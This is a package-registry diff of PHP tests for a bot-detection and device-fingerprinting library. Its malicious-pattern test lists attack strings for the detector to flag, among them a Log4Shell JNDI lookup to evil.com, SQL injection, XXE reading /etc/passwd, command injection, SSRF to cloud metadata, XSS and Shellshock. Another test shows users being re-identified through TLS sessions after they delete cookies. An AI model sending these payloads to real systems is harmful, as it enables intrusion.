@anonympins/fingerprint 0.4.5 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +39 -0
- package/README.md +56 -11
- package/package.json +2 -1
- package/src/js/dynamic-wasm.js +23 -1
- package/src/js/fingerprint.client.js +139 -0
- package/src/js/fingerprint.js +767 -215
- package/src/js/fingerprint.utils.js +184 -0
- package/src/js/library.js +1740 -1729
- package/src/js/pow.solver.inline.js +389 -285
- package/src/js/pow.solver.js +105 -1
- package/src/js/tests/fingerprint.isMalicious.test.js +234 -116
- package/src/js/tests/fingerprint.test.js +191 -1
- package/src/js/tests/ja3AnomalyDetector.test.js +1 -0
- package/src/php/AutoTuner.php +72 -1
- package/src/php/Challenge/ChallengeUtils.php +395 -5
- package/src/php/FingerprintEngine.php +176 -10
- package/src/php/Optimization/Optimization.php +257 -255
- package/src/php/Optimization/OptimizationOperators.php +41 -35
- package/src/php/RequestContext.php +2 -0
- package/src/php/Tests/ChallengeUtilsTest.php +208 -81
- package/src/php/Tests/FingerprintEngineTest.php +105 -0
- package/src/php/Tests/MaliciousPatternsTest.php +104 -0
- package/src/php/Tests/RequestUtilsTest.php +13 -0
- package/src/php/Utils/BigInt.php +202 -144
- package/src/php/Utils/MaliciousPatterns.php +74 -58
- package/src/php/Utils/RequestUtils.php +45 -0
|
@@ -1,82 +1,209 @@
|
|
|
1
|
-
<?php
|
|
2
|
-
|
|
3
|
-
declare(strict_types=1);
|
|
4
|
-
|
|
5
|
-
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
-
|
|
7
|
-
use Anonympins\Fingerprint\Challenge\ChallengeUtils;
|
|
8
|
-
use Anonympins\Fingerprint\Utils\BigInt;
|
|
9
|
-
use PHPUnit\Framework\TestCase;
|
|
10
|
-
|
|
11
|
-
class ChallengeUtilsTest extends TestCase
|
|
12
|
-
{
|
|
13
|
-
protected function setUp(): void
|
|
14
|
-
{
|
|
15
|
-
// Définir une clé secrète pour les tests
|
|
16
|
-
$_ENV['POW_SECRET'] = 'test-secret-key-that-is-long-enough-for-hmac';
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
public function
|
|
20
|
-
{
|
|
21
|
-
$
|
|
22
|
-
$
|
|
23
|
-
$
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
$
|
|
27
|
-
$
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
$
|
|
31
|
-
$
|
|
32
|
-
$
|
|
33
|
-
|
|
34
|
-
$
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
$this->
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
$
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
$
|
|
53
|
-
|
|
54
|
-
$
|
|
55
|
-
$this->
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
$ip
|
|
61
|
-
|
|
62
|
-
$
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
$
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
$
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
$
|
|
81
|
-
|
|
1
|
+
<?php
|
|
2
|
+
|
|
3
|
+
declare(strict_types=1);
|
|
4
|
+
|
|
5
|
+
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
+
|
|
7
|
+
use Anonympins\Fingerprint\Challenge\ChallengeUtils;
|
|
8
|
+
use Anonympins\Fingerprint\Utils\BigInt;
|
|
9
|
+
use PHPUnit\Framework\TestCase;
|
|
10
|
+
|
|
11
|
+
class ChallengeUtilsTest extends TestCase
|
|
12
|
+
{
|
|
13
|
+
protected function setUp(): void
|
|
14
|
+
{
|
|
15
|
+
// Définir une clé secrète pour les tests
|
|
16
|
+
$_ENV['POW_SECRET'] = 'test-secret-key-that-is-long-enough-for-hmac';
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
public function testZkpProofValidation(): void
|
|
20
|
+
{
|
|
21
|
+
$fp = 'cvs:12345|gpu:67890';
|
|
22
|
+
$p = BigInt::fromHex('fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f');
|
|
23
|
+
$g = new BigInt(2);
|
|
24
|
+
|
|
25
|
+
$x = BigInt::fromHex(hash('sha256', $fp))->mod($p);
|
|
26
|
+
$y = $g->modPow($x, $p);
|
|
27
|
+
$v = new BigInt(987654321);
|
|
28
|
+
$t = $g->modPow($v, $p);
|
|
29
|
+
|
|
30
|
+
$cStr = (string)$g . (string)$y . (string)$t;
|
|
31
|
+
$c = BigInt::fromHex(hash('sha256', $cStr))->mod($p);
|
|
32
|
+
$s = $v->add($c->mul($x))->mod($p->sub(new BigInt(1)));
|
|
33
|
+
|
|
34
|
+
$zkpProof = $y->toHex() . ':' . $t->toHex() . ':' . $s->toHex();
|
|
35
|
+
$this->assertTrue(ChallengeUtils::verifyZkpProof($y->toHex(), $t->toHex(), $s->toHex()));
|
|
36
|
+
|
|
37
|
+
$ticket = ChallengeUtils::generateStatelessTicket([
|
|
38
|
+
'expiry' => (time() + 3600) * 1000,
|
|
39
|
+
'originalIp' => '127.0.0.1',
|
|
40
|
+
'deviceId' => 'dev-zkp',
|
|
41
|
+
'deviceHash' => 'zkp:' . $y->toHex()
|
|
42
|
+
]);
|
|
43
|
+
|
|
44
|
+
$this->assertTrue(ChallengeUtils::isTicketValid('127.0.0.1', $ticket, 'dev-zkp', '', false, '', $zkpProof));
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
public function testIsTicketValid(): void
|
|
48
|
+
{
|
|
49
|
+
$ip = '127.0.0.1';
|
|
50
|
+
$expiry = (int)floor(microtime(true) * 1000) + 3600000; // 1 heure
|
|
51
|
+
$signature = hash_hmac('sha256', "{$ip}:{$expiry}", $_ENV['POW_SECRET']);
|
|
52
|
+
$validTicket = "{$expiry}:{$signature}";
|
|
53
|
+
|
|
54
|
+
$this->assertTrue(ChallengeUtils::isTicketValid($ip, $validTicket));
|
|
55
|
+
$this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $validTicket), "Le ticket ne doit pas être valide pour une autre IP.");
|
|
56
|
+
|
|
57
|
+
$expiredExpiry = (int)floor(microtime(true) * 1000) - 1000;
|
|
58
|
+
$expiredSignature = hash_hmac('sha256', "{$ip}:{$expiredExpiry}", $_ENV['POW_SECRET']);
|
|
59
|
+
$expiredTicket = "{$expiredExpiry}:{$expiredSignature}";
|
|
60
|
+
$this->assertFalse(ChallengeUtils::isTicketValid($ip, $expiredTicket), "Un ticket expiré doit être invalide.");
|
|
61
|
+
|
|
62
|
+
$this->assertFalse(ChallengeUtils::isTicketValid($ip, 'invalid-ticket-format'), "Un format de ticket invalide doit être rejeté.");
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
public function testCpuTargetCalculation(): void
|
|
66
|
+
{
|
|
67
|
+
$config = ['cpu' => ['minDifficultyBits' => 8, 'maxDifficultyBits' => 24]];
|
|
68
|
+
|
|
69
|
+
// Low suspicion -> minimum difficulty
|
|
70
|
+
$targetLow = ChallengeUtils::calculateCpuTarget(0.0, $config);
|
|
71
|
+
$expectedTargetLow = (new BigInt(1))->shiftLeft(256 - 8);
|
|
72
|
+
$this->assertEquals(0, BigInt::fromHex($targetLow)->compareTo($expectedTargetLow), "Target for 0.0 suspicion should correspond to 8 bits of difficulty.");
|
|
73
|
+
|
|
74
|
+
// High suspicion -> maximum difficulty
|
|
75
|
+
$targetHigh = ChallengeUtils::calculateCpuTarget(1.0, $config);
|
|
76
|
+
$expectedTargetHigh = (new BigInt(1))->shiftLeft(256 - 24);
|
|
77
|
+
$this->assertEquals(0, BigInt::fromHex($targetHigh)->compareTo($expectedTargetHigh), "Target for 1.0 suspicion should correspond to 24 bits of difficulty.");
|
|
78
|
+
|
|
79
|
+
// Medium suspicion -> intermediate difficulty
|
|
80
|
+
$targetMid = ChallengeUtils::calculateCpuTarget(0.5, $config);
|
|
81
|
+
$expectedBits = 8 + 0.5 * (24 - 8); // 16 bits
|
|
82
|
+
$expectedTargetMid = (new BigInt(1))->shiftLeft(256 - (int)$expectedBits);
|
|
83
|
+
$this->assertEquals(0, BigInt::fromHex($targetMid)->compareTo($expectedTargetMid), "Target for 0.5 suspicion should correspond to 16 bits of difficulty.");
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
public function testVerifyCpuTargetPoW(): void
|
|
87
|
+
{
|
|
88
|
+
$ip = '127.0.0.1';
|
|
89
|
+
$nonce = 'test-nonce';
|
|
90
|
+
$fingerprint = 'ua:test-fp';
|
|
91
|
+
$clientSecret = 'test-secret';
|
|
92
|
+
$baseBlock = ChallengeUtils::createCpuChallengeBaseBlock($nonce, $clientSecret, $fingerprint);
|
|
93
|
+
|
|
94
|
+
// Cible facile pour un test rapide (ex: 4 zéros hexadécimaux -> 16 bits)
|
|
95
|
+
$targetHex = '0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
|
|
96
|
+
$challengeContext = ['cpuTarget' => $targetHex, 'baseBlock' => $baseBlock];
|
|
97
|
+
|
|
98
|
+
// Trouver une solution valide
|
|
99
|
+
$solution = 0;
|
|
100
|
+
while (true) {
|
|
101
|
+
$hash = hash('sha256', $baseBlock . $solution);
|
|
102
|
+
if (strcmp($hash, $targetHex) < 0) break;
|
|
103
|
+
$solution++;
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
$ticket = ChallengeUtils::verifyCpuTargetPoWAndGenerateTicket($ip, 3600, $nonce, (string)$solution, $challengeContext);
|
|
107
|
+
$this->assertNotNull($ticket, "Un ticket valide aurait dû être généré.");
|
|
108
|
+
$this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket));
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
public function testEd25519TicketValidation(): void
|
|
112
|
+
{
|
|
113
|
+
if (!extension_loaded('openssl')) {
|
|
114
|
+
$this->markTestSkipped('openssl extension is not loaded.');
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
if (!defined('OPENSSL_KEYTYPE_ED25519')) {
|
|
118
|
+
$this->markTestSkipped('Ed25519 is not supported or constant OPENSSL_KEYTYPE_ED25519 is undefined in this PHP/OpenSSL environment.');
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
$pkey = @openssl_pkey_new(["private_key_type" => constant('OPENSSL_KEYTYPE_ED25519')]);
|
|
122
|
+
if (!$pkey) {
|
|
123
|
+
$this->markTestSkipped('Ed25519 is not supported in this PHP/OpenSSL environment.');
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
openssl_pkey_export($pkey, $privateKeyPem);
|
|
127
|
+
$details = openssl_pkey_get_details($pkey);
|
|
128
|
+
$publicKeyPem = $details['key'];
|
|
129
|
+
|
|
130
|
+
// Test if openssl_sign supports null algorithm for Ed25519 (PHP 8.0.0 bug)
|
|
131
|
+
$testSig = '';
|
|
132
|
+
$testPriv = @openssl_pkey_get_private($privateKeyPem);
|
|
133
|
+
try {
|
|
134
|
+
if (!$testPriv || !@openssl_sign('test', $testSig, $testPriv, null)) {
|
|
135
|
+
$this->markTestSkipped('Ed25519 signing is not fully supported or buggy in this PHP/OpenSSL environment.');
|
|
136
|
+
}
|
|
137
|
+
} catch (\TypeError $e) {
|
|
138
|
+
$this->markTestSkipped('Ed25519 signing is not supported due to PHP 8.0.0 openssl_sign() null algorithm bug.');
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
$_ENV['ED25519_PRIVATE_KEY'] = $privateKeyPem;
|
|
142
|
+
$_ENV['ED25519_PUBLIC_KEY'] = $publicKeyPem;
|
|
143
|
+
|
|
144
|
+
$ip = '127.0.0.1';
|
|
145
|
+
$expiry = (int)floor(microtime(true) * 1000) + 3600000;
|
|
146
|
+
$payload = [
|
|
147
|
+
'expiry' => $expiry,
|
|
148
|
+
'originalIp' => $ip,
|
|
149
|
+
'deviceId' => 'device-123',
|
|
150
|
+
'deviceHash' => 'hash-abc'
|
|
151
|
+
];
|
|
152
|
+
|
|
153
|
+
$ticket = ChallengeUtils::generateStatelessTicket($payload);
|
|
154
|
+
$this->assertStringStartsWith('ed25519.', $ticket);
|
|
155
|
+
|
|
156
|
+
$this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket, 'device-123', 'hash-abc'));
|
|
157
|
+
$this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $ticket, 'device-123', 'hash-abc'));
|
|
158
|
+
|
|
159
|
+
unset($_ENV['ED25519_PRIVATE_KEY'], $_ENV['ED25519_PUBLIC_KEY']);
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
public function testCooperativePoSpaceWorkflow(): void
|
|
163
|
+
{
|
|
164
|
+
$clientIp = '127.0.0.1';
|
|
165
|
+
$nodeIdA = 'node-a';
|
|
166
|
+
$seedA = 'seed-a';
|
|
167
|
+
|
|
168
|
+
// 1. Enregistrement du nœud A (pair)
|
|
169
|
+
ChallengeUtils::registerCooperativeNode($clientIp, $nodeIdA, $seedA);
|
|
170
|
+
|
|
171
|
+
// 2. Recherche de pair pour le nœud B (dans le même sous-réseau)
|
|
172
|
+
$peer = ChallengeUtils::findPeerInSubnet($clientIp, 'node-b');
|
|
173
|
+
$this->assertNotNull($peer);
|
|
174
|
+
$this->assertEquals($nodeIdA, $peer['nodeId']);
|
|
175
|
+
$this->assertEquals($seedA, $peer['seed']);
|
|
176
|
+
|
|
177
|
+
// 3. Demande de bloc du nœud B vers le nœud A
|
|
178
|
+
$paramsReq = [
|
|
179
|
+
'coop_op' => 'request_peer_block',
|
|
180
|
+
'node_id' => 'node-b',
|
|
181
|
+
'peer_id' => 'node-a',
|
|
182
|
+
'block_idx' => '42',
|
|
183
|
+
'req_id' => 'req-123'
|
|
184
|
+
];
|
|
185
|
+
$resReq = ChallengeUtils::handleCooperativeRequest($paramsReq);
|
|
186
|
+
$this->assertEquals('queued', $resReq['status']);
|
|
187
|
+
|
|
188
|
+
// 4. Récupération de la demande par le nœud A
|
|
189
|
+
$paramsPoll = [
|
|
190
|
+
'coop_op' => 'poll_requests',
|
|
191
|
+
'node_id' => 'node-a'
|
|
192
|
+
];
|
|
193
|
+
$resPoll = ChallengeUtils::handleCooperativeRequest($paramsPoll);
|
|
194
|
+
$this->assertCount(1, $resPoll['requests']);
|
|
195
|
+
$this->assertEquals('req-123', $resPoll['requests'][0]['req_id']);
|
|
196
|
+
$this->assertEquals(42, $resPoll['requests'][0]['block_idx']);
|
|
197
|
+
|
|
198
|
+
// 5. Réponse avec la donnée de bloc par le nœud A
|
|
199
|
+
$paramsResp = [
|
|
200
|
+
'coop_op' => 'respond_block',
|
|
201
|
+
'node_id' => 'node-a',
|
|
202
|
+
'requester_id' => 'node-b',
|
|
203
|
+
'req_id' => 'req-123',
|
|
204
|
+
'block_data' => 'dummy-block-data-xyz'
|
|
205
|
+
];
|
|
206
|
+
$resResp = ChallengeUtils::handleCooperativeRequest($paramsResp);
|
|
207
|
+
$this->assertEquals('delivered', $resResp['status']);
|
|
208
|
+
}
|
|
82
209
|
}
|
|
@@ -10,6 +10,7 @@ use Anonympins\Fingerprint\FingerprintEngine;
|
|
|
10
10
|
use Anonympins\Fingerprint\RequestContext;
|
|
11
11
|
use Anonympins\Fingerprint\Store\InMemoryStore;
|
|
12
12
|
use Anonympins\Fingerprint\Store\StoreManager;
|
|
13
|
+
use Anonympins\Fingerprint\Challenge\ChallengeUtils;
|
|
13
14
|
use PHPUnit\Framework\TestCase;
|
|
14
15
|
|
|
15
16
|
class FingerprintEngineTest extends TestCase
|
|
@@ -90,6 +91,35 @@ class FingerprintEngineTest extends TestCase
|
|
|
90
91
|
$this->assertLessThan($this->securityConfig['thresholds']['low'], $secondDecision['score']);
|
|
91
92
|
}
|
|
92
93
|
|
|
94
|
+
public function testTlsSessionResumptionCookielessTracking(): void
|
|
95
|
+
{
|
|
96
|
+
// 1. Première requête d'un client avec un ID de session TLS, sans cookie
|
|
97
|
+
$tlsSessionId = 'test-tls-1.3-session-resumption-id-12345';
|
|
98
|
+
$context1 = $this->createRequestContext([
|
|
99
|
+
'headers' => [
|
|
100
|
+
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
|
|
101
|
+
'x-tls-session-id' => $tlsSessionId,
|
|
102
|
+
]
|
|
103
|
+
]);
|
|
104
|
+
|
|
105
|
+
$firstDecision = $this->engine->processRequest($context1);
|
|
106
|
+
$this->assertArrayHasKey('newCookieForResponse', $firstDecision, "Un cookie d'identité d'appareil doit être généré.");
|
|
107
|
+
$deviceId = $firstDecision['newCookieForResponse']['value'];
|
|
108
|
+
|
|
109
|
+
// 2. Deuxième requête : le client supprime ses cookies, mais garde la même session TLS (Session Resumption / 0-RTT)
|
|
110
|
+
$context2 = $this->createRequestContext([
|
|
111
|
+
'headers' => [
|
|
112
|
+
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
|
|
113
|
+
'x-tls-session-id' => $tlsSessionId,
|
|
114
|
+
],
|
|
115
|
+
'cookies' => [] // Cookies supprimés !
|
|
116
|
+
]);
|
|
117
|
+
|
|
118
|
+
$secondDecision = $this->engine->processRequest($context2);
|
|
119
|
+
$this->assertEquals('next', $secondDecision['action']);
|
|
120
|
+
$this->assertArrayNotHasKey('newCookieForResponse', $secondDecision, "Aucun nouveau cookie d'identité ne doit être généré car la session TLS a permis de restaurer l'identité.");
|
|
121
|
+
}
|
|
122
|
+
|
|
93
123
|
public function testIssuesChallengeForSuspiciousRequest(): void
|
|
94
124
|
{
|
|
95
125
|
// 1. First, establish a device identity to avoid the cookie-dropping penalty
|
|
@@ -354,4 +384,79 @@ class FingerprintEngineTest extends TestCase
|
|
|
354
384
|
// Le poids de tcpAnomalyScore dans le profil balanced est de 0.8 (80 * 0.8 = 64)
|
|
355
385
|
$this->assertGreaterThanOrEqual(64.0, $decision['score']);
|
|
356
386
|
}
|
|
387
|
+
|
|
388
|
+
public function testDetectsAndVerifiesSpaceChallenge(): void
|
|
389
|
+
{
|
|
390
|
+
$store = StoreManager::getStore();
|
|
391
|
+
|
|
392
|
+
$config = SecurityProfiles::createSecurityProfile('balanced', [
|
|
393
|
+
'enableProofOfSpace' => true,
|
|
394
|
+
'pospace' => [
|
|
395
|
+
'sizeMb' => 1,
|
|
396
|
+
'numQueries' => 5
|
|
397
|
+
],
|
|
398
|
+
'challengeNewDevices' => false,
|
|
399
|
+
]);
|
|
400
|
+
|
|
401
|
+
$engine = $this->getMockBuilder(FingerprintEngine::class)
|
|
402
|
+
->setConstructorArgs([$config])
|
|
403
|
+
->onlyMethods(['calculateFinalScore'])
|
|
404
|
+
->getMock();
|
|
405
|
+
$engine->method('calculateFinalScore')->willReturn(30.0);
|
|
406
|
+
|
|
407
|
+
$headers = [
|
|
408
|
+
'user-agent' => 'A normal browser',
|
|
409
|
+
'accept-language' => 'en-US,en;q=0.9',
|
|
410
|
+
];
|
|
411
|
+
|
|
412
|
+
// 1. Première requête provoquant un challenge
|
|
413
|
+
$context = $this->createRequestContext([
|
|
414
|
+
'headers' => $headers
|
|
415
|
+
]);
|
|
416
|
+
|
|
417
|
+
$decision = $engine->processRequest($context);
|
|
418
|
+
$this->assertEquals('challenge', $decision['action']);
|
|
419
|
+
|
|
420
|
+
$html = $decision['body'];
|
|
421
|
+
$this->assertStringContainsString('initializeSpace', $html);
|
|
422
|
+
|
|
423
|
+
preg_match('/const nonce = "(.*?)";/', $html, $matchesNonce);
|
|
424
|
+
preg_match('/const clientSecret = "(.*?)";/', $html, $matchesSecret);
|
|
425
|
+
preg_match('/const queries = (\[.*?\]);/', $html, $matchesQueries);
|
|
426
|
+
|
|
427
|
+
$nonce = $matchesNonce[1];
|
|
428
|
+
$clientSecret = $matchesSecret[1];
|
|
429
|
+
$queries = json_decode($matchesQueries[1], true);
|
|
430
|
+
|
|
431
|
+
// 2. Résoudre le challenge
|
|
432
|
+
$combined = '';
|
|
433
|
+
foreach ($queries as $idx) {
|
|
434
|
+
$combined .= $this->callPrivateGenerateBlock($nonce . ":" . $clientSecret, (int)$idx);
|
|
435
|
+
}
|
|
436
|
+
$finalBlock = $combined . $nonce . ":" . $clientSecret;
|
|
437
|
+
$solution = hash('sha256', $finalBlock);
|
|
438
|
+
|
|
439
|
+
// 3. Soumettre le challenge
|
|
440
|
+
$submitContext = $this->createRequestContext([
|
|
441
|
+
'headers' => $headers,
|
|
442
|
+
'query' => [
|
|
443
|
+
'pow_type' => 'pospace',
|
|
444
|
+
'pow_nonce' => $nonce,
|
|
445
|
+
'pow_solution_space' => $solution
|
|
446
|
+
]
|
|
447
|
+
]);
|
|
448
|
+
|
|
449
|
+
$engineReal = new FingerprintEngine($config);
|
|
450
|
+
$submitDecision = $engineReal->processRequest($submitContext);
|
|
451
|
+
$this->assertEquals('redirect', $submitDecision['action']);
|
|
452
|
+
$this->assertArrayHasKey('cookie', $submitDecision);
|
|
453
|
+
$this->assertEquals('pow_clearance', $submitDecision['cookie']['name']);
|
|
454
|
+
}
|
|
455
|
+
|
|
456
|
+
private function callPrivateGenerateBlock(string $seed, int $blockIndex): string
|
|
457
|
+
{
|
|
458
|
+
$ref = new \ReflectionClass(ChallengeUtils::class);
|
|
459
|
+
$method = $ref->getMethod('generateBlock');
|
|
460
|
+
return $method->invoke(null, $seed, $blockIndex);
|
|
461
|
+
}
|
|
357
462
|
}
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
|
|
3
|
+
declare(strict_types=1);
|
|
4
|
+
|
|
5
|
+
namespace Anonympins\Fingerprint\Tests;
|
|
6
|
+
|
|
7
|
+
use Anonympins\Fingerprint\Utils\MaliciousPatterns;
|
|
8
|
+
use PHPUnit\Framework\TestCase;
|
|
9
|
+
|
|
10
|
+
class MaliciousPatternsTest extends TestCase
|
|
11
|
+
{
|
|
12
|
+
/**
|
|
13
|
+
* @dataProvider maliciousProvider
|
|
14
|
+
*/
|
|
15
|
+
public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
|
|
16
|
+
{
|
|
17
|
+
$this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* @dataProvider openRedirectProvider
|
|
22
|
+
*/
|
|
23
|
+
public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
|
|
24
|
+
{
|
|
25
|
+
$this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
public function maliciousProvider(): array
|
|
29
|
+
{
|
|
30
|
+
return [
|
|
31
|
+
// SQL Injections
|
|
32
|
+
["' OR '1'='1", true],
|
|
33
|
+
["UNION SELECT username, password FROM users", true],
|
|
34
|
+
["normal text with no SQL", false],
|
|
35
|
+
|
|
36
|
+
// Log4Shell
|
|
37
|
+
['${jndi:ldap://evil.com/a}', true],
|
|
38
|
+
['normal log ${user.name}', false],
|
|
39
|
+
|
|
40
|
+
// SSTI
|
|
41
|
+
['{{ 7*7 }}', true],
|
|
42
|
+
['{% if user.isAdmin %}', true],
|
|
43
|
+
['simple {braces}', false],
|
|
44
|
+
|
|
45
|
+
// XXE
|
|
46
|
+
['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
|
|
47
|
+
['<!DOCTYPE html>', false],
|
|
48
|
+
|
|
49
|
+
// Path Traversal
|
|
50
|
+
['../../etc/passwd', true],
|
|
51
|
+
['..\\..\\win.ini', true],
|
|
52
|
+
['normal/path/to/file', false],
|
|
53
|
+
|
|
54
|
+
// RCE
|
|
55
|
+
['`whoami`', true],
|
|
56
|
+
['; ping -c 4 8.8.8.8', true],
|
|
57
|
+
['normal ping command desc', false],
|
|
58
|
+
|
|
59
|
+
// SSRF
|
|
60
|
+
['http://127.0.0.1/admin', true],
|
|
61
|
+
['https://localhost:8443', true],
|
|
62
|
+
['http://169.254.169.254/latest/meta-data', true],
|
|
63
|
+
['https://google.com', false],
|
|
64
|
+
|
|
65
|
+
// CRLF
|
|
66
|
+
["test\r\nHeader: value", true],
|
|
67
|
+
["%0d%0aHeader: value", true],
|
|
68
|
+
["clean string", false],
|
|
69
|
+
|
|
70
|
+
// XSS
|
|
71
|
+
['<script>alert(1)</script>', true],
|
|
72
|
+
['javascript:alert(1)', true],
|
|
73
|
+
['<img src=x onerror=alert(1)>', true],
|
|
74
|
+
['<b>bold text</b>', false],
|
|
75
|
+
|
|
76
|
+
// LFI/RFI
|
|
77
|
+
['etc/passwd', true],
|
|
78
|
+
['win.ini', true],
|
|
79
|
+
['php://filter/resource=index.php', true],
|
|
80
|
+
['normal_file.txt', false],
|
|
81
|
+
|
|
82
|
+
// Shellshock
|
|
83
|
+
['() { :; }; echo "Vulnerable"', true],
|
|
84
|
+
['() { :;};', true],
|
|
85
|
+
['function test() {}', false],
|
|
86
|
+
|
|
87
|
+
// NoSQL Operator Injection
|
|
88
|
+
['$gt', true],
|
|
89
|
+
['$elemMatch', true],
|
|
90
|
+
['$where', true],
|
|
91
|
+
['This is $10', false],
|
|
92
|
+
];
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
public function openRedirectProvider(): array
|
|
96
|
+
{
|
|
97
|
+
return [
|
|
98
|
+
['https://evil.com/redirect', true],
|
|
99
|
+
['//malicious-site.com', true],
|
|
100
|
+
['/local/path', false],
|
|
101
|
+
['http://localhost/dashboard', false],
|
|
102
|
+
];
|
|
103
|
+
}
|
|
104
|
+
}
|
|
@@ -35,6 +35,19 @@ class RequestUtilsTest extends TestCase
|
|
|
35
35
|
);
|
|
36
36
|
}
|
|
37
37
|
|
|
38
|
+
public function testGetCrossLayerInconsistencyViewportExceedsScreen(): void
|
|
39
|
+
{
|
|
40
|
+
$scrHash = FingerprintBuilder::cyrb53("1920x1080_24");
|
|
41
|
+
$context = $this->createRequestContext([
|
|
42
|
+
'headers' => [
|
|
43
|
+
'x-device-fingerprint' => "scr:{$scrHash}",
|
|
44
|
+
'sec-ch-viewport-width' => '2560'
|
|
45
|
+
]
|
|
46
|
+
]);
|
|
47
|
+
|
|
48
|
+
$score = RequestUtils::getCrossLayerInconsistency($context);
|
|
49
|
+
$this->assertEquals(20.0, $score['crossLayerInconsistencyScore']);
|
|
50
|
+
}
|
|
38
51
|
public function testGetClickVarianceScoreReturnsZeroForNoHistory(): void
|
|
39
52
|
{
|
|
40
53
|
$context = $this->createRequestContext([
|